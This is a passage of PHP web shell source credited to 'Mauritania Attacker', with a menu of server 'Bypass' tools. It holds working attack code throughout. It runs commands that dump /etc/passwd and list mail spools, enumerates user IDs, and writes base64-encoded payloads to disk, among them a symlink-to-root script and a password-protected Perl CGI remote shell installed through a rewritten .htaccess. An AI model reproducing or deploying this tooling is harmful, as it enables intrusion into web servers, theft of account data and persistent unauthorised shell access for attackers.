2EudHh0Jyk7ICRmdmNrZW0gPSdUM0IwYVc5dWN5QkpibVJsZUdWeklFWnZiR3h2ZDFONWJVeHBibXR6RFFwRWFYSmxZM1J2Y25sSmJtUmxlQ0J6YzNOemMzTXVhSFJ0RFFwQlpHUlVlWEJsSUhSNGRDQXVjR2h3RFFwQlpHUklZVzVrYkdWeUlIUjRkQ0F1Y0dodyc7ICRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkdmlydXNhID0gc3ltbGluaygiLyIsInZpcnVzYS50eHQiKTsgJHJ0PSI8YnI+PGEgaHJlZj12aXJ1c2EudHh0IFRBUkdFVD0nX2JsYW5rJz48Zm9udCBjb2xvcj0jMDBiYjAwIHNpemU9MiBmYWNlPSdDb3VyaWVyIE5ldyc+PGI+QnlwYXNzZWQgU3VjY2Vzc2Z1bGx5PC9iPjwvZm9udD48L2E+IjsgZWNobyAiPGJyPjxicj48Yj5Eb25lLi4gITwvYj48YnI+PGJyPkNoZWNrIGxpbmsgZ2l2ZW4gYmVsb3cgZm9yIC8gZm9sZGVyIHN5bWxpbmsgPGJyPiRydDwvY2VudGVyPiI7fSBlY2hvICI8L2Zvcm0+IjsgID8+PC90ZD48L3RyPjwvYm9keT48L2h0bWw+';

$file = fopen("bforb.php" ,"w+");
$write = fwrite ($file ,base64_decode($bforb));
fclose($file);
chmod("bforb.php",0755);
echo "<iframe src=bforb/bforb.php width=60% height=60% frameborder=0></iframe>";
}

if(isset($_GET['action']) && $_GET['action'] == 'grasy'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass /etc/passwd Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">


<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input type="submit" value="Bypass" name="syst">
</form>
</center><br>
</p>

<p><center>Bypass with Passthru Function
<form method="post">
<font face="Tahoma" color="#007700" size="2pt">
<input type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with posix_getpwuid Function
<form method="post">
<input type="submit" value="Bypass" name="mauritania">
</form>
</center><br>
</p>

<center>';
    

//System Function //
if($_POST['syst'])
{

echo"<textarea class='area' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '
</center>
<center>';
    


//Passthru Function //
if($_POST['passth'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>

</b>
<br>
";
  
}


echo '
</center>
<center>';
    


//exec Function //
if($_POST['ex'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}


echo '
</center>
<center>';


//exec Function //
if($_POST['shex'])
{
echo"<textarea class='area' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
echo '</center>
<center>';
    


//posix_getpwuid Function //
if($_POST['mauritania'])
{
echo"<textarea class='area' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){ 
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br>";
echo"
<br>
<b>
</b>
<br>
";
}
}
if(isset($_GET['action']) && $_GET['action'] == 'nemcon'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Users Server Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '
<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with awk program
<form method="post">
<input type="submit" value="Bypass" name="awk">
</form>
</center><br>
</p>



<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
<form method="post">
<input type="submit" value="Bypass" name="syst">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with Passthru Function
<form method="post">
<input type="submit" value="Bypass" name="passth">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
<form method="post">
<input type="submit" value="Bypass" name="ex">
</form>
</center><br>
</p>

<p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
<form method="post">
<input type="submit" value="Bypass" name="shex">
</form>
</center><br>
</p><center>';
    

//Awk Program //
if ($_POST['awk']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
    
//System Function //
if ($_POST['syst']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}

echo "</center><center>";
    
//Passthru Function //
if ($_POST['passth']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo "</center><center>";
    
//exec Function //
if ($_POST['ex']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>

</b>
<br>
";
}

echo "</center><center>";
    
//exec Function //
if ($_POST['shex']) {
echo"<textarea class='area' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
}
if(isset($_GET['action']) && $_GET['action'] == 'cgipl'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
mkdir('cgipl', 0755);
chdir('cgipl');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
$metin = "AddType application/x-httpd-cgi .root 
AddType application/x-httpd-cgi .root 
AddHandler cgi-script .root 
AddHandler cgi-script .root";    
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgipl = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5Bbm9uR2hvc3QgUGVybCBzaGVsbDwvYj4gIyBzZXJ2ZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZ2hvc3QiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QW5vbkdob3N0IFBlcmwgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJBbm9uR2hvc3QsQW5vbkdob3N0LEFub25HaG9zdC5pbmZvLGhhY2tlciI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW5vbkdob3N0LEFub25HaG9zdCxBbm9uR2hvc3QuaW5mbyxoYWNrZXIiPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4NCjxiPjxmb250IHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IA0KPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+QW5vbkdob3N0IFBlcmwgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vaW1nODEwLmltYWdlc2hhY2sudXMvaW1nODEwLzgwNDMvQW5vbkdob3N0MTIucG5nIj48L3ByZT48YnI+PGJyPjwvZm9udD48aDE+RGVmYXVsdCBQYXNzd29yZD1naG9zdDwvaDE+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCjwvZm9udD4NCjxmb250IHNpemU9IjMiPg0KbG9naW46IDxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmNjYiPkFub25HaG9zdCBQZXJsIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS